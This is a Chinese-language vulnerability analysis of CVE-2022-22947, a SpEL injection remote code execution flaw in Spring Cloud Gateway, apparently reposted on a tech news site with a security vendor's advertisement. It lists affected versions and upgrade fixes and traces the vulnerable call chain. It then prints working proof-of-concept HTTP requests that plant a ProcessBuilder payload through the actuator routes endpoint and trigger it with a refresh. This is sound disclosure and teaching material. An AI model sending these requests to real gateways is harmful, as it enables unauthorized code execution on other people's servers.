CVE-2022-22947 SpringCloud GateWay SPEL RCE 漏洞分析
漏洞概要
Spring Cloud Gateway 是Spring Cloud 生态中的API网关,包含限流、过滤等API治理功能。 Spring官方在2022年3月1日发布新版本修复了Spring Cloud Gateway中的一处代码注入漏洞。当actuator端点开启或暴露时,可以通过http请求修改路由,路由中包含的恶意filter参数会经过SPEL表达式解析,从而导致远程主机执行任意代码。
- 影响范围: org.springframework.cloud:spring-cloud-gateway-server@[3.1.0, 3.1.1) org.springframework.cloud:spring-cloud-gateway-server@[2.2.6.RELEASE, 3.0.7)
- 修复方案: 将组件 org.springframework.cloud:spring-cloud-gateway-server 升级至 3.1.1 及以上版本 将组件 org.springframework.cloud:spring-cloud-gateway-server 升级至 3.0.7 及以上版本
- 漏洞链接:https://www.oscs1024.com/hd/MPS-2022-1077
以下内容来自公众号《安全日记》 Erikten 对该漏洞的分析:
0x00 环境搭建
CVE-2022-22947 SpringCloud GateWay SPEL RCE 漏洞分析,直接去 GitHub 上下载即可。
git clone https://github.com/spring-cloud/spring-cloud-gateway cd spring-cloud-gateway git checkout v3.1.0
0x01 漏洞分析
首先这个漏洞的本质就是一个Spel表达式注入。漏洞的触发点位于org/springframework/cloud/gateway/support/ShortcutConfigurable.java#getValue,看diff点可以发现在安全版本中官方将StandardEvaluationContext更换为了GatewayEvaluationContext去执行Spel表达式
我们回溯一下getValue这个方法,发现在org/springframework/cloud/gateway/support/ShortcutConfigurable.java#ShortcutType这个枚举中的DEFAULT被调用
那么就去跟一下哪里调了ShortcutType.DEFAULT,发现在org/springframework/cloud/gateway/support/ShortcutConfigurable.java#shortcutType调用了它
最终在org/springframework/cloud/gateway/support/ConfigurationService.java#normalizeProperties对filter属性进行解析,最后进入getValue执行SPEL表达式造成SPEL表达式注入。
继续向上,来到org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator#loadGatewayFilters,根据这个方法的名字大概也能猜出它的做作用,就是添加路由filters
继续重复之前的操作(向上回溯),会找到这么一条调用链
RouteDefinitionRouteLocator#loadGatewayFilters -> RouteDefinitionRouteLocator#getFilters -> RouteDefinitionRouteLocator#convertToRoute -> RouteDefinitionRouteLocator#getRoutes -> GatewayControllerEndpoint#routes
整体流程大致了解了,就是添加路由filter然后访问,通过getValue触发Spel注入最终完成RCE,那么怎么添加路由呢?我们去看下手册https://cloud.spring.io/spring-cloud-gateway/multi/multi__actuator_api.html
来到org.springframework.cloud.gateway.actuate.AbstractGatewayControllerEndpoint#save,可以看到POST的请求体对应的内容
Filters内容
0x02 构造PoC
首先创建路由filter
POST /actuator/gateway/routes/test HTTP/1.1 Host: localhost:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Connection: close Content-Type: application/json Content-Length: 212 { "id": "test", "filters": [{ "name": "AddResponseHeader", "args": { "name": "any", "value": "#{new ProcessBuilder(\"calc\").start()}" } }], "uri": "http://test.com" }
发包可以发现payload已经注入进filter了
接下来刷新一下
POST /actuator/gateway/refresh HTTP/1.1 Host: localhost:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 2
首先在org.springframework.cloud.gateway.support.ConfigurationService.ConfigurableBuilder#normalizeProperties遍历filters属性
接着通过org.springframework.cloud.gateway.support.ShortcutConfigurable.ShortcutType#normalize调getValue解析属性
造成Spel注入
最终解锁计算器
0x03 参考链接
https://www.cnblogs.com/bitterz/p/15964852.html
免费情报订阅 & 代码安全检测
墨菲安全是一家为您提供专业的软件供应链安全管理的科技公司,核心团队来自百度、华为、乌云等企业,公司为客户提供完整的软件供应链安全管理平台,围绕SBOM提供软件全生命周期的安全管理,平台能力包括软件成分分析、源安全管理、容器镜像检测、漏洞情报预警及商业软件供应链准入评估等多个产品。为客户提供从供应链资产识别管理、风险检测、安全控制、一键修复的完整控制能力。同时产品可以极低成本的和现有开发流程中的各种工具一键打通,包括 IDE、Gitlab、Bitbucket、Jenkins、Harbor、Nexus 等数十种工具无缝集成。
代码安全检测: https://www.murphysec.com/?sf=1vi9zs 情报订阅: https://www.oscs1024.com/cm/?sf=1vi9zs 漏洞库:https://www.oscs1024.com/hl/?sf=1vi9zs

低调大师中文资讯倾力打造互联网数据资讯、行业资源、电子商务、移动互联网、网络营销平台。
持续更新报道IT业界、互联网、市场资讯、驱动更新,是最及时权威的产业资讯及硬件资讯报道平台。
转载内容版权归作者及来源网站所有,本站原创内容转载请注明来源。
- 上一篇
点赞!openKylin 入选 2022“科创中国”开源创新榜年度优秀开源社区
近日,在2023“科创中国”年度会议上,中国科协正式发布2022“科创中国”开源创新榜单。openKylin社区作为国内桌面操作系统根社区,凭借着优秀的社区创新力、技术实力和社会影响力,入选“科创中国”开源创新榜年度优秀开源社区。 “科创中国”开源创新榜致力于打造极具公信力的开源发布品牌,由“科创中国”开源创新联合体负责征集评选,挖掘具有创新性的优秀开源产品,活跃度高、贡献度高的优秀社区,以及推动开源产业发展的优秀开源机构,引领打造开源创新生态。 当前,以开源软件为基础构建信息系统成为了主流趋势。openKylin作为中国桌面操作系统根社区,勇担时代使命,推出3大核心技术助力开源桌面操作系统建设。 1、可控开源体系:通过制定和实施一系列规章制度、技术方案,确保开源社区中的代码来源可控、系统设计可控、开发过程可控,确保用户和开发者能够安全、稳定、可靠、持续地使用开源社区中的开源组件及其涉及的支持性服务。 2、分级冻结机制:针对处于不同状态的应用进行“分级”处理,以某种特殊方式“冻结”用户未操作应用,从而释放系统资源(如CPU、磁盘I/O、内存等)的一种应用生命周期管控机制,优先保障用户当...
- 下一篇
Tapdata 和 Databend 数仓数据同步实战
作者:韩山杰 Databend Cloud 研发工程师 https://github.com/hantmac 基础架构在云计算时代也发生着翻天地覆的变化,对于业务的支持变成了如何能利用好云资源实现降本增效,同时更好的支撑业务也成为新时代技术人员的挑战。本篇文章通过:借助 Tapdata Cloud 实现从阿里云 RDS 到云原生数仓 Databend 的数据同步,给大家展示一下 Tapdata Cloud 和 Databend Cloud 在数仓领域的实践。 Tapdata Cloud 是由 Tapdata 提供的集数据复制、数据开发为一体的实时数据服务,能够在跨云、跨地域、多类型数据源的场景下,提供毫秒级的实时数据同步服务和数据融合服务。 Databend 是基于 Rust 开发的一个开源、弹性、负载感知的现代云数仓,赋能企业降本增效。在之前的文章中介绍了如何快速部署 Databend。Databend Cloud 是基于 Databend 实现的云上大数据解决方案。 1.体验 Tapdata 到 Databend Cloud 数据迁移 部署架构如下 数据源上部署 Tapdata A...
相关文章
文章评论
共有0条评论来说两句吧...
文章二维码
点击排行
推荐阅读
最新文章
- SpringBoot2整合Redis,开启缓存,提高访问速度
- SpringBoot2全家桶,快速入门学习开发网站教程
- Docker快速安装Oracle11G,搭建oracle11g学习环境
- Linux系统CentOS6、CentOS7手动修改IP地址
- CentOS7设置SWAP分区,小内存服务器的救世主
- Jdk安装(Linux,MacOS,Windows),包含三大操作系统的最全安装
- Windows10,CentOS7,CentOS8安装MongoDB4.0.16
- CentOS7编译安装Gcc9.2.0,解决mysql等软件编译问题
- CentOS6,CentOS7官方镜像安装Oracle11G
- Mario游戏-低调大师作品